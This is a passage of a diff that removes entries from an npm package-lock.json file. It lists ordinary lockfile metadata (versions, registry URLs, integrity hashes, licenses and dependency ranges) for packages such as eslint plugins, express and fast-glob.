"sha512-BekXQu1VaVFkREepQGsntBYoKuPsf89V16n/s2xpKMtsw0/lDseds1wBhj3RtO1dKnHsfTPaG+xul1vF0R7LEQ==", - "dev": true, - "license": "ISC", - "dependencies": { - "lodash": "^4.17.21", - "requireindex": "~1.1.0" - }, - "engines": { - "node": ">=18.10.0" - } - }, - "node_modules/eslint-plugin-import-x": { - "version": "4.16.2", - "resolved": "https://registry.npmjs.org/eslint-plugin-import-x/-/eslint-plugin-import-x-4.16.2.tgz", - "integrity": "sha512-rM9K8UBHcWKpzQzStn1YRN2T5NvdeIfSVoKu/lKF41znQXHAUcBbYXe5wd6GNjZjTrP7viQ49n1D83x/2gYgIw==", - "dev": true, - "license": "MIT", - "dependencies": { - "@package-json/types": "^0.0.12", - "@typescript-eslint/types": "^8.56.0", - "comment-parser": "^1.4.1", - "debug": "^4.4.1", - "eslint-import-context": "^0.1.9", - "is-glob": "^4.0.3", - "minimatch": "^9.0.3 || ^10.1.2", - "semver": "^7.7.2", - "stable-hash-x": "^0.2.0", - "unrs-resolver": "^1.9.2" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "url": "https://opencollective.com/eslint-plugin-import-x" - }, - "peerDependencies": { - "@typescript-eslint/utils": "^8.56.0", - "eslint": "^8.57.0 || ^9.0.0 || ^10.0.0", - "eslint-import-resolver-node": "*" - }, - "peerDependenciesMeta": { - "@typescript-eslint/utils": { - "optional": true - }, - "eslint-import-resolver-node": { - "optional": true - } - } - }, - "node_modules/eslint-plugin-import-x/node_modules/balanced-match": { - "version": "4.0.4", - "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-4.0.4.tgz", - "integrity": "sha512-BLrgEcRTwX2o6gGxGOCNyMvGSp35YofuYzw9h1IMTRmKqttAZZVU67bdb9Pr2vUHA8+j3i2tJfjO6C6+4myGTA==", - "dev": true, - "license": "MIT", - "engines": { - "node": "18 || 20 || >=22" - } - }, - "node_modules/eslint-plugin-import-x/node_modules/brace-expansion": { - "version": "5.0.6", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-5.0.6.tgz", - "integrity": "sha512-kLpxurY4Z4r9sgMsyG0Z9uzsBlgiU/EFKhj/h91/8yHu0edo7XuixOIH3VcJ8kkxs6/jPzoI6U9Vj3WqbMQ94g==", - "dev": true, - "license": "MIT", - "dependencies": { - "balanced-match": "^4.0.2" - }, - "engines": { - "node": "18 || 20 || >=22" - } - }, - "node_modules/eslint-plugin-import-x/node_modules/minimatch": { - "version": "10.2.5", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-10.2.5.tgz", - "integrity": "sha512-MULkVLfKGYDFYejP07QOurDLLQpcjk7Fw+7jXS2R2czRQzR56yHRveU5NDJEOviH+hETZKSkIk5c+T23GjFUMg==", - "dev": true, - "license": "BlueOak-1.0.0", - "dependencies": { - "brace-expansion": "^5.0.5" - }, - "engines": { - "node": "18 || 20 || >=22" - }, - "funding": { - "url": "https://github.com/sponsors/isaacs" - } - }, - "node_modules/eslint-plugin-jsx-a11y": { - "version": "6.10.2", - "resolved": "https://registry.npmjs.org/eslint-plugin-jsx-a11y/-/eslint-plugin-jsx-a11y-6.10.2.tgz", - "integrity": "sha512-scB3nz4WmG75pV8+3eRUQOHZlNSUhFNq37xnpgRkCCELU3XMvXAxLk1eqWWyE22Ki4Q01Fnsw9BA3cJHDPgn2Q==", - "dev": true, - "license": "MIT", - "dependencies": { - "aria-query": "^5.3.2", - "array-includes": "^3.1.8", - "array.prototype.flatmap": "^1.3.2", - "ast-types-flow": "^0.0.8", - "axe-core": "^4.10.0", - "axobject-query": "^4.1.0", - "damerau-levenshtein": "^1.0.8", - "emoji-regex": "^9.2.2", - "hasown": "^2.0.2", - "jsx-ast-utils": "^3.3.5", - "language-tags": "^1.0.9", - "minimatch": "^3.1.2", - "object.fromentries": "^2.0.8", - "safe-regex-test": "^1.0.3", - "string.prototype.includes": "^2.0.1" - }, - "engines": { - "node": ">=4.0" - }, - "peerDependencies": { - "eslint": "^3 || ^4 || ^5 || ^6 || ^7 || ^8 || ^9" - } - }, - "node_modules/eslint-plugin-jsx-a11y/node_modules/aria-query": { - "version": "5.3.2", - "resolved": "https://registry.npmjs.org/aria-query/-/aria-query-5.3.2.tgz", - "integrity": "sha512-COROpnaoap1E2F000S62r6A60uHZnmlvomhfyT2DlTcrY1OrBKn2UhH7qn5wTC9zMvD0AY7csdPSNwKP+7WiQw==", - "dev": true, - "license": "Apache-2.0", - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/eslint-plugin-prettier": { - "version": "5.5.5", - "resolved": "https://registry.npmjs.org/eslint-plugin-prettier/-/eslint-plugin-prettier-5.5.5.tgz", - "integrity": "sha512-hscXkbqUZ2sPithAuLm5MXL+Wph+U7wHngPBv9OMWwlP8iaflyxpjTYZkmdgB4/vPIhemRlBEoLrH7UC1n7aUw==", - "dev": true, - "license": "MIT", - "dependencies": { - "prettier-linter-helpers": "^1.0.1", - "synckit": "^0.11.12" - }, - "engines": { - "node": "^14.18.0 || >=16.0.0" - }, - "funding": { - "url": "https://opencollective.com/eslint-plugin-prettier" - }, - "peerDependencies": { - "@types/eslint": ">=8.0.0", - "eslint": ">=8.0.0", - "eslint-config-prettier": ">= 7.0.0 <10.0.0 || >=10.1.0", - "prettier": ">=3.0.0" - }, - "peerDependenciesMeta": { - "@types/eslint": { - "optional": true - }, - "eslint-config-prettier": { - "optional": true - } - } - }, - "node_modules/eslint-plugin-react": { - "version": "7.37.5", - "resolved": "https://registry.npmjs.org/eslint-plugin-react/-/eslint-plugin-react-7.37.5.tgz", - "integrity": "sha512-Qteup0SqU15kdocexFNAJMvCJEfa2xUKNV4CC1xsVMrIIqEy3SQ/rqyxCWNzfrd3/ldy6HMlD2e0JDVpDg2qIA==", - "dev": true, - "license": "MIT", - "dependencies": { - "array-includes": "^3.1.8", - "array.prototype.findlast": "^1.2.5", - "array.prototype.flatmap": "^1.3.3", - "array.prototype.tosorted": "^1.1.4", - "doctrine": "^2.1.0", - "es-iterator-helpers": "^1.2.1", - "estraverse": "^5.3.0", - "hasown": "^2.0.2", - "jsx-ast-utils": "^2.4.1 || ^3.0.0", - "minimatch": "^3.1.2", - "object.entries": "^1.1.9", - "object.fromentries": "^2.0.8", - "object.values": "^1.2.1", - "prop-types": "^15.8.1", - "resolve": "^2.0.0-next.5", - "semver": "^6.3.1", - "string.prototype.matchall": "^4.0.12", - "string.prototype.repeat": "^1.0.0" - }, - "engines": { - "node": ">=4" - }, - "peerDependencies": { - "eslint": "^3 || ^4 || ^5 || ^6 || ^7 || ^8 || ^9.7" - } - }, - "node_modules/eslint-plugin-react-hooks": { - "version": "7.1.1", - "resolved": "https://registry.npmjs.org/eslint-plugin-react-hooks/-/eslint-plugin-react-hooks-7.1.1.tgz", - "integrity": "sha512-f2I7Gw6JbvCexzIInuSbZpfdQ44D7iqdWX01FKLvrPgqxoE7oMj8clOfto8U6vYiz4yd5oKu39rRSVOe1zRu0g==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/core": "^7.24.4", - "@babel/parser": "^7.24.4", - "hermes-parser": "^0.25.1", - "zod": "^3.25.0 || ^4.0.0", - "zod-validation-error": "^3.5.0 || ^4.0.0" - }, - "engines": { - "node": ">=18" - }, - "peerDependencies": { - "eslint": "^3.0.0 || ^4.0.0 || ^5.0.0 || ^6.0.0 || ^7.0.0 || ^8.0.0-0 || ^9.0.0 || ^10.0.0" - } - }, - "node_modules/eslint-plugin-react/node_modules/semver": { - "version": "6.3.1", - "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", - "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", - "dev": true, - "license": "ISC", - "bin": { - "semver": "bin/semver.js" - } - }, - "node_modules/eslint-plugin-unused-imports": { - "version": "4.4.1", - "resolved": "https://registry.npmjs.org/eslint-plugin-unused-imports/-/eslint-plugin-unused-imports-4.4.1.tgz", - "integrity": "sha512-oZGYUz1X3sRMGUB+0cZyK2VcvRX5lm/vB56PgNNcU+7ficUCKm66oZWKUubXWnOuPjQ8PvmXtCViXBMONPe7tQ==", - "dev": true, - "license": "MIT", - "peerDependencies": { - "@typescript-eslint/eslint-plugin": "^8.0.0-0 || ^7.0.0 || ^6.0.0 || ^5.0.0", - "eslint": "^10.0.0 || ^9.0.0 || ^8.0.0" - }, - "peerDependenciesMeta": { - "@typescript-eslint/eslint-plugin": { - "optional": true - } - } - }, - "node_modules/eslint-scope": { - "version": "8.4.0", - "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-8.4.0.tgz", - "integrity": "sha512-sNXOfKCn74rt8RICKMvJS7XKV/Xk9kA7DyJr8mJik3S7Cwgy3qlkkmyS2uQB3jiJg6VNdZd/pDBJu0nvG2NlTg==", - "dev": true, - "license": "BSD-2-Clause", - "dependencies": { - "esrecurse": "^4.3.0", - "estraverse": "^5.2.0" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "url": "https://opencollective.com/eslint" - } - }, - "node_modules/eslint-visitor-keys": { - "version": "3.4.3", - "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-3.4.3.tgz", - "integrity": "sha512-wpc+LXeiyiisxPlEkUzU6svyS1frIO3Mgxj1fdy7Pm8Ygzguax2N3Fa/D/ag1WqbOprdI+uY6wMUl8/a2G+iag==", - "dev": true, - "license": "Apache-2.0", - "engines": { - "node": "^12.22.0 || ^14.17.0 || >=16.0.0" - }, - "funding": { - "url": "https://opencollective.com/eslint" - } - }, - "node_modules/eslint/node_modules/@eslint/eslintrc": { - "version": "3.3.5", - "resolved": "https://registry.npmjs.org/@eslint/eslintrc/-/eslintrc-3.3.5.tgz", - "integrity": "sha512-4IlJx0X0qftVsN5E+/vGujTRIFtwuLbNsVUe7TO6zYPDR1O6nFwvwhIKEKSrl6dZchmYBITazxKoUYOjdtjlRg==", - "dev": true, - "license": "MIT", - "dependencies": { - "ajv": "^6.14.0", - "debug": "^4.3.2", - "espree": "^10.0.1", - "globals": "^14.0.0", - "ignore": "^5.2.0", - "import-fresh": "^3.2.1", - "js-yaml": "^4.1.1", - "minimatch": "^3.1.5", - "strip-json-comments": "^3.1.1" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "url": "https://opencollective.com/eslint" - } - }, - "node_modules/eslint/node_modules/eslint-visitor-keys": { - "version": "4.2.1", - "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-4.2.1.tgz", - "integrity": "sha512-Uhdk5sfqcee/9H/rCOJikYz67o0a2Tw2hGRPOG2Y1R2dg7brRe1uG0yaNQDHu+TO/uQPF/5eCapvYSmHUjt7JQ==", - "dev": true, - "license": "Apache-2.0", - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "url": "https://opencollective.com/eslint" - } - }, - "node_modules/eslint/node_modules/globals": { - "version": "14.0.0", - "resolved": "https://registry.npmjs.org/globals/-/globals-14.0.0.tgz", - "integrity": "sha512-oahGvuMGQlPw/ivIYBjVSrWAfWLBeku5tpPE2fOPLi+WHffIWbuh2tCjhyQhTBPMf5E9jDEH4FOmTYgYwbKwtQ==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=18" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/espree": { - "version": "10.4.0", - "resolved": "https://registry.npmjs.org/espree/-/espree-10.4.0.tgz", - "integrity": "sha512-j6PAQ2uUr79PZhBjP5C5fhl8e39FmRnOjsD5lGnWrFU8i2G776tBK7+nP8KuQUTTyAZUwfQqXAgrVH5MbH9CYQ==", - "dev": true, - "license": "BSD-2-Clause", - "dependencies": { - "acorn": "^8.15.0", - "acorn-jsx": "^5.3.2", - "eslint-visitor-keys": "^4.2.1" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "url": "https://opencollective.com/eslint" - } - }, - "node_modules/espree/node_modules/eslint-visitor-keys": { - "version": "4.2.1", - "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-4.2.1.tgz", - "integrity": "sha512-Uhdk5sfqcee/9H/rCOJikYz67o0a2Tw2hGRPOG2Y1R2dg7brRe1uG0yaNQDHu+TO/uQPF/5eCapvYSmHUjt7JQ==", - "dev": true, - "license": "Apache-2.0", - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "url": "https://opencollective.com/eslint" - } - }, - "node_modules/esquery": { - "version": "1.7.0", - "resolved": "https://registry.npmjs.org/esquery/-/esquery-1.7.0.tgz", - "integrity": "sha512-Ap6G0WQwcU/LHsvLwON1fAQX9Zp0A2Y6Y/cJBl9r/JbW90Zyg4/zbG6zzKa2OTALELarYHmKu0GhpM5EO+7T0g==", - "dev": true, - "license": "BSD-3-Clause", - "dependencies": { - "estraverse": "^5.1.0" - }, - "engines": { - "node": ">=0.10" - } - }, - "node_modules/esrecurse": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/esrecurse/-/esrecurse-4.3.0.tgz", - "integrity": "sha512-KmfKL3b6G+RXvP8N1vr3Tq1kL/oCFgn2NYXEtqP8/L3pKapUA4G8cFVaoF3SU323CD4XypR/ffioHmkti6/Tag==", - "dev": true, - "license": "BSD-2-Clause", - "dependencies": { - "estraverse": "^5.2.0" - }, - "engines": { - "node": ">=4.0" - } - }, - "node_modules/estraverse": { - "version": "5.3.0", - "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.3.0.tgz", - "integrity": "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==", - "dev": true, - "license": "BSD-2-Clause", - "engines": { - "node": ">=4.0" - } - }, - "node_modules/estree-util-is-identifier-name": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/estree-util-is-identifier-name/-/estree-util-is-identifier-name-3.0.0.tgz", - "integrity": "sha512-hFtqIDZTIUZ9BXLb8y4pYGyk6+wekIivNVTcmvk8NoOh+VeRn5y6cEHzbURrWbfp1fIqdVipilzj+lfaadNZmg==", - "license": "MIT", - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/estree-walker": { - "version": "3.0.3", - "resolved": "https://registry.npmjs.org/estree-walker/-/estree-walker-3.0.3.tgz", - "integrity": "sha512-7RUKfXgSMMkzt6ZuXmqapOurLGPPfgj6l9uRZ7lRGolvk0y2yocc35LdcxKC5PQZdn2DMqioAQ2NoWcrTKmm6g==", - "dev": true, - "license": "MIT", - "dependencies": { - "@types/estree": "^1.0.0" - } - }, - "node_modules/esutils": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/esutils/-/esutils-2.0.3.tgz", - "integrity": "sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==", - "dev": true, - "license": "BSD-2-Clause", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/etag": { - "version": "1.8.1", - "resolved": "https://registry.npmjs.org/etag/-/etag-1.8.1.tgz", - "integrity": "sha512-aIL5Fx7mawVa300al2BnEE4iNvo1qETxLrPI/o05L7z6go7fCw1J6EQmbK4FmJ2AS7kgVF/KEZWufBfdClMcPg==", - "license": "MIT", - "engines": { - "node": ">= 0.6" - } - }, - "node_modules/eventemitter3": { - "version": "5.0.4", - "resolved": "https://registry.npmjs.org/eventemitter3/-/eventemitter3-5.0.4.tgz", - "integrity": "sha512-mlsTRyGaPBjPedk6Bvw+aqbsXDtoAyAzm5MO7JgU+yVRyMQ5O8bD4Kcci7BS85f93veegeCPkL8R4GLClnjLFw==", - "dev": true, - "license": "MIT" - }, - "node_modules/exit-hook": { - "version": "2.2.1", - "resolved": "https://registry.npmjs.org/exit-hook/-/exit-hook-2.2.1.tgz", - "integrity": "sha512-eNTPlAD67BmP31LDINZ3U7HSF8l57TxOY2PmBJ1shpCvpnxBF93mWCE8YHBnXs8qiUZJc9WDcWIeC3a2HIAMfw==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=6" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/expect-type": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/expect-type/-/expect-type-1.3.0.tgz", - "integrity": "sha512-knvyeauYhqjOYvQ66MznSMs83wmHrCycNEN6Ao+2AeYEfxUIkuiVxdEa1qlGEPK+We3n0THiDciYSsCcgW/DoA==", - "dev": true, - "license": "Apache-2.0", - "engines": { - "node": ">=12.0.0" - } - }, - "node_modules/exponential-backoff": { - "version": "3.1.3", - "resolved": "https://registry.npmjs.org/exponential-backoff/-/exponential-backoff-3.1.3.tgz", - "integrity": "sha512-ZgEeZXj30q+I0EN+CbSSpIyPaJ5HVQD18Z1m+u1FXbAeT94mr1zw50q4q6jiiC447Nl/YTcIYSAftiGqetwXCA==", - "dev": true, - "license": "Apache-2.0" - }, - "node_modules/express": { - "version": "4.22.2", - "resolved": "https://registry.npmjs.org/express/-/express-4.22.2.tgz", - "integrity": "sha512-IuL+Elrou2ZvCFHs18/CIzy2Nzvo25nZ1/D2eIZlz7c+QUayAcYoiM2BthCjs+EBHVpjYjcuLDAiCWgeIX3X1Q==", - "license": "MIT", - "dependencies": { - "accepts": "~1.3.8", - "array-flatten": "1.1.1", - "body-parser": "~1.20.5", - "content-disposition": "~0.5.4", - "content-type": "~1.0.4", - "cookie": "~0.7.1", - "cookie-signature": "~1.0.6", - "debug": "2.6.9", - "depd": "2.0.0", - "encodeurl": "~2.0.0", - "escape-html": "~1.0.3", - "etag": "~1.8.1", - "finalhandler": "~1.3.1", - "fresh": "~0.5.2", - "http-errors": "~2.0.0", - "merge-descriptors": "1.0.3", - "methods": "~1.1.2", - "on-finished": "~2.4.1", - "parseurl": "~1.3.3", - "path-to-regexp": "~0.1.12", - "proxy-addr": "~2.0.7", - "qs": "~6.15.1", - "range-parser": "~1.2.1", - "safe-buffer": "5.2.1", - "send": "~0.19.0", - "serve-static": "~1.16.2", - "setprototypeof": "1.2.0", - "statuses": "~2.0.1", - "type-is": "~1.6.18", - "utils-merge": "1.0.1", - "vary": "~1.1.2" - }, - "engines": { - "node": ">= 0.10.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/express" - } - }, - "node_modules/express/node_modules/debug": { - "version": "2.6.9", - "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", - "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", - "license": "MIT", - "dependencies": { - "ms": "2.0.0" - } - }, - "node_modules/express/node_modules/ms": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", - "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==", - "license": "MIT" - }, - "node_modules/exsolve": { - "version": "1.0.8", - "resolved": "https://registry.npmjs.org/exsolve/-/exsolve-1.0.8.tgz", - "integrity": "sha512-LmDxfWXwcTArk8fUEnOfSZpHOJ6zOMUJKOtFLFqJLoKJetuQG874Uc7/Kki7zFLzYybmZhp1M7+98pfMqeX8yA==", - "dev": true, - "license": "MIT" - }, - "node_modules/extend": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/extend/-/extend-3.0.2.tgz", - "integrity": "sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g==", - "license": "MIT" - }, - "node_modules/extract-zip": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/extract-zip/-/extract-zip-2.0.1.tgz", - "integrity": "sha512-GDhU9ntwuKyGXdZBUgTIe+vXnWj0fppUEtMDL0+idd5Sta8TGpHssn/eusA9mrPr9qNDym6SxAYZjNvCn/9RBg==", - "dev": true, - "license": "BSD-2-Clause", - "dependencies": { - "debug": "^4.1.1", - "get-stream": "^5.1.0", - "yauzl": "^2.10.0" - }, - "bin": { - "extract-zip": "cli.js" - }, - "engines": { - "node": ">= 10.17.0" - }, - "optionalDependencies": { - "@types/yauzl": "^2.9.1" - } - }, - "node_modules/extsprintf": { - "version": "1.4.1", - "resolved": "https://registry.npmjs.org/extsprintf/-/extsprintf-1.4.1.tgz", - "integrity": "sha512-Wrk35e8ydCKDj/ArClo1VrPVmN8zph5V4AtHwIuHhvMXsKf73UT3BOD+azBIW+3wOJ4FhEH7zyaJCFvChjYvMA==", - "dev": true, - "engines": [ - "node >=0.6.0" - ], - "license": "MIT", - "optional": true - }, - "node_modules/fast-deep-equal": { - "version": "3.1.3", - "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", - "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==", - "dev": true, - "license": "MIT" - }, - "node_modules/fast-diff": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/fast-diff/-/fast-diff-1.3.0.tgz", - "integrity": "sha512-VxPP4NqbUjj6MaAOafWeUn2cXWLcCtljklUtZf0Ind4XQ+QPtmA0b18zZy0jIQx+ExRVCR/ZQpBmik5lXshNsw==", - "dev": true, - "license": "Apache-2.0" - }, - "node_modules/fast-glob": { - "version": "3.3.3", - "resolved": "https://registry.npmjs.org/fast-glob/-/fast-glob-3.3.3.tgz", - "integrity": "sha512-7MptL8U0cqcFdzIzwOTHoilX9x5BrNqye7Z/LuC7kCMRio1EMSyqRK3BEAUD7sXRq4iT4AzTVuZdhgQ2TCvYLg==", - "dev": true, - "license": "MIT", - "dependencies": { - "@nodelib/fs.stat": "^2.0.2", - "@nodelib/fs.walk": "^1.2.3", - "glob-parent": "^5.1.2", - "merge2": "^1.3.0", - "micromatch": "^4.0.8" - }, - "engines": { - "node": ">=8.6.0" - } - }, - "node_modules/fast-glob/node_modules/glob-parent": { - "version": "5.1.2", - "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", - "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", - "dev": true, - "license": "ISC", - "dependencies": { - "is-glob": "^4.0.1" - }, - "engines": { - "node": ">= 6" - } - }, - "node_modules/fast-json-stable-stringify": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz", - "integrity": "sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==", - "dev": true, - "license": "MIT" - }, - "node_modules/fast-levenshtein": { - "version": "2.0.6", - "resolved": "https://registry.npmjs.org/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz", - "integrity": "sha512-DCXu6Ifhqcks7TZKY3Hxp3y6qphY5SJZmrWMDrKcERSOXWQdMhU9Ig/PYrzyw/ul9jOIyh0N4M0tbC5hodg8dw==", - "dev": true, - "license": "MIT" - }, - "node_modules/fast-string-truncated-width": { - "version": "3.0.3", - "resolved": "https://registry.npmjs.org/fast-string-truncated-width/-/fast-string-truncated-width-3.0.3.tgz", - "integrity": "sha512-0jjjIEL6+0jag3l2XWWizO64/aZVtpiGE3t0Zgqxv0DPuxiMjvB3M24fCyhZUO4KomJQPj3LTSUnDP3GpdwC0g==", - "dev": true, - "license": "MIT" - }, - "node_modules/fast-string-width": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/fast-string-width/-/fast-string-width-3.0.2.tgz", - "integrity": "sha512-gX8LrtNEI5hq8DVUfRQMbr5lpaS4nMIWV+7XEbXk2b8kiQIizgnlr12B4dA3ZEx3308ze0O4Q1R+cHts8kyUJg==", - "dev": true, - "license": "MIT", - "dependencies": { - "fast-string-truncated-width": "^3.0.2" - } - }, - "node_modules/fast-uri": { - "version": "3.1.2", - "resolved": "https://registry.npmjs.org/fast-uri/-/fast-uri-3.1.2.tgz", - "integrity": "sha512-rVjf7ArG3LTk+FS6Yw81V1DLuZl1bRbNrev6Tmd/9RaroeeRRJhAt7jg/6YFxbvAQXUCavSoZhPPj6oOx+5KjQ==", - "dev": true, - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/fastify" - }, - { - "type": "opencollective", - "url": "https://opencollective.com/fastify" - } - ], - "license": "BSD-3-Clause" - }, - "node_modules/fast-wrap-ansi": { - "version": "0.2.2", - "resolved": "https://registry.npmjs.org/fast-wrap-ansi/-/fast-wrap-ansi-0.2.2.tgz", - "integrity": "sha512-7F2Fl+TjRSenLqlU3UjSH0iyqopqoZIu7eZVpEirP2g1GtWa2G/ecEmBdgz31+Mxr+ELclgg6sokpSFIQiZ02Q==", - "dev": true, - "license": "MIT", - "dependencies": { - "fast-string-width": "^3.0.2" - } - }, - "node_modules/fastq": { - "version": "1.20.1", - "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.20.1.tgz", - "integrity": "sha512-GGToxJ/w1x32s/D2EKND7kTil4n8OVk/9mycTc4VDza13lOvpUZTGX3mFSCtV9ksdGBVzvsyAVLM6mHFThxXxw==", - "dev": true, - "license": "ISC", - "dependencies": { - "reusify": "^1.0.4" - } - }, - "node_modules/fault": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/fault/-/fault-1.0.4.tgz", - "integrity": "sha512-CJ0HCB5tL5fYTEA7ToAq5+kTwd++Borf1/bifxd9iT70QcXr4MRrO3Llf8Ifs70q+SJcGHFtnIE/Nw6giCtECA==", - "license": "MIT", - "dependencies": { - "format": "^0.2.0" - }, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/wooorm" - } - }, - "node_modules/fd-slicer": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/fd-slicer/-/fd-slicer-1.1.0.tgz", - "integrity": "sha512-cE1qsB/VwyQozZ+q1dGxR8LBYNZeofhEdUNGSMbQD3Gw2lAzX9Zb3uIU6Ebc/Fmyjo9AWWfnn0AUCHqtevs/8g==", - "dev": true, - "license": "MIT", - "dependencies": { - "pend": "~1.2.0" - } - }, - "node_modules/fdir": { - "version": "6.5.0", - "resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz", - "integrity": "sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg==", - "license": "MIT", - "engines": { - "node": ">=12.0.0" - }, - "peerDependencies": { - "picomatch": "^3 || ^4" - }, - "peerDependenciesMeta": { - "picomatch": { - "optional": true - } - } - }, - "node_modules/fecha": { - "version": "4.2.3", - "resolved": "https://registry.npmjs.org/fecha/-/fecha-4.2.3.tgz", - "integrity": "sha512-OP2IUU6HeYKJi3i0z4A19kHMQoLVs4Hc+DPqqxI2h/DPZHTm/vjsfC6P0b4jCMy14XizLBqvndQ+UilD7707Jw==", - "license": "MIT" - }, - "node_modules/fflate": { - "version": "0.4.8", - "resolved": "https://registry.npmjs.org/fflate/-/fflate-0.4.8.tgz", - "integrity": "sha512-FJqqoDBR00Mdj9ppamLa/Y7vxm+PRmNWA67N846RvsoYVMKB4q3y/de5PA7gUmRMYK/8CMz2GDZQmCRN1wBcWA==", - "license": "MIT" - }, - "node_modules/file-entry-cache": { - "version": "8.0.0", - "resolved": "https://registry.npmjs.org/file-entry-cache/-/file-entry-cache-8.0.0.tgz", - "integrity": "sha512-XXTUwCvisa5oacNGRP9SfNtYBNAMi+RPwBFmblZEF7N7swHYQS6/Zfk7SRwx4D5j3CH211YNRco1DEMNVfZCnQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "flat-cache": "^4.0.0" - }, - "engines": { - "node": ">=16.0.0" - } - }, - "node_modules/file-stream-rotator": { - "version": "0.6.1", - "resolved": "https://registry.npmjs.org/file-stream-rotator/-/file-stream-rotator-0.6.1.tgz", - "integrity": "sha512-u+dBid4PvZw17PmDeRcNOtCP9CCK/9lRN2w+r1xIS7yOL9JFrIBKTvrYsxT4P0pGtThYTn++QS5ChHaUov3+zQ==", - "license": "MIT", - "dependencies": { - "moment": "^2.29.1" - } - }, - "node_modules/filelist": { - "version": "1.0.6", - "resolved": "https://registry.npmjs.org/filelist/-/filelist-1.0.6.tgz", - "integrity": "sha512-5giy2PkLYY1cP39p17Ech+2xlpTRL9HLspOfEgm0L6CwBXBTgsK5ou0JtzYuepxkaQ/tvhCFIJ5uXo0OrM2DxA==", - "dev": true, - "license": "Apache-2.0", - "dependencies": { - "minimatch": "^5.0.1" - } - }, - "node_modules/filelist/node_modules/brace-expansion": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.1.2.tgz", - "integrity": "sha512-w5JZcKgdhDOgOwm8H+KgbosopHMuGcl6qbulwjtz3SM7I7P3yW1eAjzMPLrIE+NQ9vjgANKHWeMHnrT0OXW1oA==", - "dev": true, - "license": "MIT", - "dependencies": { - "balanced-match": "^1.0.0" - } - }, - "node_modules/filelist/node_modules/minimatch": { - "version": "5.1.9", - "resolved": 